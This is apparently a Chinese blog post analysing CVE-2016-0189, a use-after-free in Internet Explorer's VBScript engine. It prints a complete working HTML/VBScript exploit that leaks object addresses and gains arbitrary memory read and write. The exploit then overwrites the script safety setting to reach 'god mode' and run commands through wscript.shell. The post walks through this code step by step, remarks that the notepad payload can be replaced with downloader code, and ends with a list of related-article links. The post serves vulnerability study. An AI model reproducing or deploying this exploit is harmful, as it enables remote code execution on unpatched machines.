CVE-2016-0189
IE CVE-2016-0189远程执行漏洞分析
作者: 被遗弃的庸才
一、前言
IE CVE-2016-0189是通过Microsoft发布的MS16-051的补丁程序进行对比之后发现的,随后漏洞被韩国用于APT攻击。出现漏洞的原因是在vbs解析引擎中,数组中指定下标时会调用vbscript!AccessArray中的vbscript!rtVariantChangeTypeEx函数,vbscript!rtVariantChangeTypeEx函数并没有实现而是调用了oleaut32!VariantChangeTypeEx函数,在这个函数中会检查传入的索引类型,如果不是整数型就会调用valueof方法,进行类型转化,注意这里的valeueof是可以被重载的(这里就可以做一些猥琐的事情)。如果我们在重载的valueof函数中减小数组的大小,内存就会被释放,这时立刻申请内存,数组被释放的部分就可能被再次占用(但是数组的访问还是原始的大小,我们就可以构造任意地址的读写)。这里是先定义一个比较大的二维数组A(1, 2000),接着给A(arg1, 2)赋值,首先会去调用重载的valueof函数,函数中会修改A数组的大小,接着就立刻申请内存进行占位,最后返回1。对aw.A(arg1, 2)赋值就会变成对aw.A(1, 2)赋值,而且A数组的A(1,1)之后的内存已经被释放又被构造的内存重新占用了。
二、漏洞复现
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body><script type="text/vbscript">Dim awDim plunge(32)Dim y(32)prefix = "%u4141%u4141"d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"b = String(64000, "D")c = d & bx = UnEscape(c)Class ArrayWrapperDim A()Private Sub Class_Initialize' 2x2000 elements x 16 bytes / element = 64000 bytesReDim Preserve A(1, 2000)End SubPublic Sub Resize()ReDim Preserve A(1, 1)End SubEnd ClassClass DummyEnd ClassFunction getAddr (arg1, s)aw = NullSet aw = New ArrayWrapperFor i = 0 To 32Set plunge(i) = sNextSet aw.A(arg1, 2) = sDim addrDim iFor i = 0 To 31If Asc(Mid(y(i), 3, 1)) = VarType(s) Thenaddr = strToInt(Mid(y(i), 3 + 4, 2))End Ify(i) = NullNextIf addr = Null Thendocument.location.href = document.location.hrefReturnEnd IfgetAddr = addrEnd FunctionFunction leakMem (arg1, addr)d = prefix & "%u0008%u4141%u4141%u4141"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapperDim oo = aw.A(arg1, 2)leakMem = oEnd FunctionSub overwrite (arg1, addr)d = prefix & "%u400C%u0000%u0000%u0000"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapper' Single has vartype of 0x04aw.A(arg1, 2) = CSng(0)End SubFunction exploit (arg1)Dim addrDim csessionDim olescriptDim mem' Create a vbscript class instanceSet dm = New Dummy' Get address of the class instanceaddr = getAddr(arg1, dm)' Leak CSession address from class instancemem = leakMem(arg1, addr + 8)csession = strToInt(Mid(mem, 3, 2))' Leak COleScript address from CSession instancemem = leakMem(arg1, csession + 4)olescript = strToInt(Mid(mem, 1, 2))' Overwrite SafetyOption in COleScript (e.g. god mode)' e.g. changes it to 0x04 which is not in 0x0B maskoverwrite arg1, olescript + &H174set obj = createobject("wscript.shell")obj.run("notepad")End FunctionFunction triggerBug' Resize array we are currently indexingaw.Resize()' Overlap freed array area with our exploit stringDim iFor i = 0 To 32' 24000x2 + 6 = 48006 bytesy(i) = Mid(x, 1, 24000)NextEnd Function</script><script type="text/javascript">function strToInt(s){return s.charCodeAt(0) | (s.charCodeAt(1) << 16);}function intToStr(x){return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);}var o;o = {"valueOf": function () {triggerBug();return 1;}};setTimeout(function() {exploit(o);}, 50);</script>
</body>
</html>
在本地虚拟机上面就成功执行poc了
三、漏洞分析
看一看会用到的结构体,虽然看起来很长但是只有0x10个字节,这里是各个类型的定义https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f。
typedef struct tagVARIANT {union {struct {VARTYPE vt;WORD wReserved1;WORD wReserved2;WORD wReserved3;union {LONGLONG llVal;LONG lVal;BYTE bVal;SHORT iVal;FLOAT fltVal;DOUBLE dblVal;VARIANT_BOOL boolVal;VARIANT_BOOL __OBSOLETE__VARIANT_BOOL;SCODE scode;CY cyVal;DATE date;BSTR bstrVal;IUnknown *punkVal;IDispatch *pdispVal;SAFEARRAY *parray;BYTE *pbVal;SHORT *piVal;LONG *plVal;LONGLONG *pllVal;FLOAT *pfltVal;DOUBLE *pdblVal;VARIANT_BOOL *pboolVal;VARIANT_BOOL *__OBSOLETE__VARIANT_PBOOL;SCODE *pscode;CY *pcyVal;DATE *pdate;BSTR *pbstrVal;IUnknown **ppunkVal;IDispatch **ppdispVal;SAFEARRAY **pparray;VARIANT *pvarVal;PVOID byref;CHAR cVal;USHORT uiVal;ULONG ulVal;ULONGLONG ullVal;INT intVal;UINT uintVal;DECIMAL *pdecVal;CHAR *pcVal;USHORT *puiVal;ULONG *pulVal;ULONGLONG *pullVal;INT *pintVal;UINT *puintVal;struct {PVOID pvRecord;IRecordInfo *pRecInfo;} __VARIANT_NAME_4;} __VARIANT_NAME_3;} __VARIANT_NAME_2;DECIMAL decVal;} __VARIANT_NAME_1;
} VARIANT;
这里首先分析一下获取地址,这里的s代表的是Dummy类,其中这个类是空的没有具体实现的函数。plunge(i)是用来占用一些空隙内存的,这里在调用A(arg1, 2)时会触发valueOf,会释放内存后申请内存,其中x是精心构造的,为了得到类对象的地址,x前面的0x41是为了方便找到这个块内存。查找的方式是判断存储在A(1,2)的对象的,是否在申请的内存内,从而出现错位和2014-6332的错位几乎是一样的,可以看下图的windbg的内存布局。
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)Function triggerBug' Resize array we are currently indexingaw.Resize()' Overlap freed array area with our exploit stringDim iFor i = 0 To 32' 24000x2 + 6 = 48006 bytesy(i) = Mid(x, 1, 24000)Next
End Function
o = {"valueOf": function () {triggerBug();return 1;}};Set dm = New Dummy' Get address of the class instanceaddr = getAddr(arg1, dm)
...............
Function getAddr (arg1, s)aw = NullSet aw = New ArrayWrapperFor i = 0 To 32Set plunge(i) = sNextSet aw.A(arg1, 2) = sDim addrDim iFor i = 0 To 31If Asc(Mid(y(i), 3, 1)) = VarType(s) Thenaddr = strToInt(Mid(y(i), 3 + 4, 2))End Ify(i) = NullNextIf addr = Null Thendocument.location.href = document.location.hrefReturnEnd IfgetAddr = addr
End Function
我们想要的是下面的这种情况,A和f(x)是相邻的。
这里下断点的方式bp vbscript!VbsIsEmpty,这里在addr = strToInt(Mid(y(i), 3 + 4, 2))后面加上IsEmpty(f(i))就能看到如下的内存布局
好了现在找到我们需要的内存结构和类对象的地址接下来就是得到CSession对象的地址,这里的构造了一个0x8的数据类型也就是BSTR(string),同时可以从上图看出该结构为4字节的字符串长度+字符+两个字节的00(上图看不见,用来标记结尾的)。
之后利用同样的方式构造出字符串的的数据类型,这里用一个问题就是为什么要+8在strToInt(Mid(mem, 3, 2)),既然csession对象在0xc的位置直接leakMem(arg1, addr + c)在csession = strToInt(Mid(mem, 1, 2))不是一样的吗?我们从内存的角度来看一看为什么不行。
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
Function leakMem (arg1, addr)d = prefix & "%u0008%u4141%u4141%u4141"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapperDim oo = aw.A(arg1, 2)leakMem = o
End Function
老规矩可以在o = aw.A(arg1, 2)后面加上一个IsEmpty(y(0))并下断,断下之后可以看到下面的内存
最后就是构造写,可以从代码中看出把类型构造为0x400c之后给olescript对象加上0x174的赋值为0,那么我们还是一样添加IsEmpty(y(0))之后下断,但是会有一个问题就是拿到的是f(0)并不是我们想要的,主要原因是f(0)在内存中不是和A数组紧挨,所以我们这里添加一些代码来确认这里的A和f(0)是相邻的。
overwrite arg1, olescript + &H174
Sub overwrite (arg1, addr)d = prefix & "%u400C%u0000%u0000%u0000"c = d & intToStr(addr) & bx = UnEscape(c)aw = Null
Set aw = New ArrayWrapper' Single has vartype of 0x04
IsEmpty(y(0))
aw.A(arg1, 2) = CSng(0)
End Sub我是添加的代码
Sub overwrite (arg1, addr)d = prefix & "%u400C%u0000%u0000%u0000"c = d & intToStr(addr) & bx = UnEscape(c)aw = NullSet aw = New ArrayWrapperaw.A(arg1, 2) = CSng(0)Dim iFor i = 0 To 32If Asc(Mid(y(i), 3, 1)) <> &h8 ThenIsEmpty(y(i))End IfNextEnd Sub
这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。
aw = Null
Set aw = New ArrayWrapperaw.A(arg1, 2) = CSng(0)Dim i
For i = 0 To 32If Asc(Mid(y(i), 3, 1)) <> &h8 ThenIsEmpty(y(i))End If
Next
End Sub
这里可以看到将目标地址修改为4关闭了safemode,开启上帝模式,之后添加一些vb代码打开notepad,当然这vb代码可以换成其他downloader的代码。
CVE-2016-0189相关推荐
- mysql cve 2016 3521_MySQL-based databases CVE -2016-6663 本地提权
@date: 2016/11/3 @author: dlive 0x01 漏洞原文 翻译水平不高求轻喷 感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x ...
- mysql cve 2016 3521_MySQL-based databases CVE-2016-6664 本地提权
@date: 2016/11/10 @author: dlive 0x00 前言 这个漏洞可以结合CVE-2016-6663使用提升权限到root 0x01 漏洞原文 # http://legalha ...
- 工控系统的全球安全现状:全球漏洞实例分析
工控系统的全球安全现状:全球漏洞实例分析 一.摘要 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...
- ios安全学习资料汇总
文章出处:https://github.com/pandazheng/IosHackStudy (1) IOS安全学习网站收集: http://samdmarshall.com https://www ...
- IOS/macOS安全相关资料的收集
• [PDF] https://objectivebythesea.com/v2/talks/OBTS_v2_Beer.pdf: https://objectivebythesea.com/v2/ta ...
- android 漏洞发布,CVE发布2016年软件漏洞排行榜报告:安卓以523处位居第一
IT之家讯 1月3日消息,近期CVE Details公布了2016年软件漏洞数量最新报告,根据报告显示,漏洞存在数量最多的是安卓系统,以523处漏洞位居第一,排名第二的为Debian Linux系统, ...
- CVE PoC的精选列表(三)
CVE-2017-0146 Microsoft Windows Vista SP2中的SMBv1服务器:Windows Server 2008 SP2和R2 SP1; Windows 7 SP1:Wi ...
- CVE PoC的精选列表(二)
CVE-2016-1710 在52.0.2743.82之前的Google Chrome中使用的Blink的WebKit / Source / web / ChromeClientImpl.cpp中的C ...
- cve查询_CVE年满21岁:如何实现这一里程碑
cve查询 The Common Vulnerabilities and Exposures (CVE) turns 21 this year and, just like any 21-year-o ...
- 绿盟科技互联网安全威胁周报2016.38 请关注4个OpenSSH安全漏洞
绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-38,绿盟科技漏洞库本周新增46条,其中高危18条.本次周报建议大家关注 OpenSSH存在多个安全漏洞 ,目前,厂商已发布漏洞修复程序,用户 ...
最新文章
- 直播这把“开鱼刀”能否救蘑菇街于“扑街”?
- Java 8 Lambda 表达式被编译成了什么?
- 华夫饼为什么不松软_掌握这2个关键点,5个小细节,3个小技巧,保证烙饼松软又好吃...
- using(){},Close(),Dispose()的区别
- 评测称IE8成内存消耗王 高出IE7一半 为火狐2倍
- POJ 2762Going from u to v or from v to u?(强联通 + 缩点 + 拓扑排序)
- 局域网中搜计算机无法访问,怎么找不到共享电脑,手把手教你局域网中共享电脑找不到怎么办...
- 最简单的Windows CE应用程序
- STC单片机编程软件安装教程
- VC MFC 换肤 SkinSharp
- 网站类项目商业计划书(转)
- android 仿小米便签,高仿小米便签
- 计算机专业一句话介绍自己,来聊聊,你会如何用一句话介绍自己的专业?
- 使用distpicker的简单测试页面
- Python文件和数据格式化(教程)
- 不想露脸,做情感、励志短视频,手机就可以,12天收益2386
- @NotNull和@NotEmpty和@NotBlank区别
- Sinoregal dbAudit应用-SinoDB
- python 管理windows客户端_scrapyd的Windows管理客户端|python基础教程|python入门|python教程...
- 宏基笔记本linux系统安装图解,宏基笔记本重装系统详细图文教程